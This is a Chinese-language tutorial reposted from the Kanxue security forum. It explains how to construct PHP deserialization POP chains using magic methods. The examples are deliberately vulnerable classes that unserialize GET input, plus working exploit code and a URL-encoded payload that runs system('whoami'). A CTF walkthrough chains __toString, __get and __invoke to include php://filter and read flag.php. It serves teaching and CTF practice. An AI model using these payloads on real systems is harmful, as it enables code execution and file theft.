POP链构造学习心得

本文为看雪论坛优秀文章
看雪论坛作者ID:H3h3QAQ
POP链基础
一
POP和POP链的定义
1、什么是POP
2、POP链原理
二
POP链构造初探
1、简单的POP链构造三部曲
show_source(__FILE__);
class Lemon {
protected $a;
function __construct() {
$this->a = new H3();
}
function __destruct() {
$this->a->action();
}
}
class H3 {
function action() {
echo "I want to play basketball!";
}
}
class Hack {
private $data;
function H3() {
eval($this->data);
}
}
unserialize($_GET['eval']);
__destruct()://析构函数当对象被销毁时会被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用
__call(): //在对象上下文中调用不可访问的方法时触发
__callStatci(): //在静态上下文中调用不可访问的方法时触发
__get(): //用于从不可访问的属性读取数据
__set(): //用于将数据写入不可访问的属性
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__toString(): //把类当作字符串使用时触发
__construct(): //构造函数,当对象new的时候会自动调用,但在unserialize()时不会自动调用
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用
class Lemon {
protected $a;
function __construct() {
$this->a = new H3();
}
function __destruct() {
$this->a->action();
}
}
class Hack {
private $data;
function action() {
eval($this->data);
}
}
class Lemon {
protected $a;
function __construct() {
$this->a = new Hack();
}
}
class Hack {
private $data="system('whoami');";
}
$a=new Lemon();
echo urlencode(serialize($a));
O%3A5%3A%22Lemon%22%3A1%3A%7Bs%3A4%3A%22%00%2A%00a%22%3BO%3A4%3A%22Hack%22%3A1%3A%7Bs%3A10%3A%22%00Hack%00data%22%3Bs%3A17%3A%22system%28%27whoami%27%29%3B%22%3B%7D%7D

2、CTF题目中的POP链构造
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){ //当脚本尝试将对象调用为函数时触发
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){ // 当一个对象创建时被调用
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){ //当一个对象被当作一个字符串被调用
return $this->str->source;
}
public function __wakeup(){ //使用unserialize时触发
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){ // 当一个对象创建时被调用
$this->p = array();
}
public function __get($key){ //用于从不可访问的属性读取数据
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){ //当脚本尝试将对象调用为函数时触发
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){ // 当一个对象创建时被调用
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){ //当一个对象被当作一个字符串被调用
return $this->str->source;
}
public function __wakeup(){ //使用unserialize时触发
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
public function __wakeup(){ //使用unserialize时触发
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
public function __toString(){ //当一个对象被当作一个字符串被调用
return $this->str->source;
}
public function __get($key){ //用于从不可访问的属性读取数据
$function = $this->p;
return $function();
}
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){ //当脚本尝试将对象调用为函数时触发
$this->append($this->var);
}
}
class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
public function __toString(){
return "H3";
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$a = new Show(' ');
$a->str= new Test();
$h3 = new Show($a);
echo urlencode(serialize($h3));


3、真实环境下的POP链构造
三
总结
看雪ID:H3h3QAQ
https://bbs.kanxue.com/user-home-921448.htm

# 往期推荐


球分享

球点赞

球在看

点击“阅读原文”,了解更多!
[广告]赞助链接:
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

随时掌握互联网精彩
- JustAuth1.16.7正式版发布
- 华为李小龙:华为手机无密码完全无法获取数据!拆“内存”都不行
- 官方确认:微信鸿蒙原生版将支持Call Kit 不解锁就能接语音
- Worklenz:一款提高团队效率的开源项目管理工具
- 历史上的今天:第一位图灵奖女性得主;NVIDIA 收购 MediaQ;首届网络安全挑战大赛完成
- 有自带Buff的专属摄影师是种什么体验?
- 2022西湖论剑·工业领域网络和数据安全论坛在杭州举行
- 彻底搞懂什么是XDR,看完这7个问题就够了
- 对话MySQL之父:代码一次性完成才是优秀程序员
- 在看|一周网安回顾(2022.2.19-2022.2.25)
- 看雪·众安 KCTF赛况直播 | 战况升级!比分逐渐拉大
- 诸子星球 | 微话题:“逃生账号”怎么管?
赞助链接